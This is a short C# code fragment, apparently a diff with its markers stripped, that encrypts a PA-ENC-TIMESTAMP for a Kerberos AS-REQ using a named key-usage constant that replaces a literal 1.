byte[] key = Helpers.StringToByteArray(keyString);
// KRB_KEY_USAGE_AS_REQ_PA_ENC_TIMESTAMP 1
// KRB_KEY_USAGE_AS_REQ_PA_ENC_TIMESTAMP == 1
// From https://github.com/gentilkiwi/kekeo/blob/master/modules/asn1/kull_m_kerberos_asn1.h#L55
byte[] encBytes = Crypto.KerberosEncrypt(etype, 1, key, rawBytes);
byte[] encBytes = Crypto.KerberosEncrypt(etype, Interop.KRB_KEY_USAGE_AS_REQ_PA_ENC_TIMESTAMP, key, rawBytes);
value = new EncryptedData((int)etype, encBytes);
}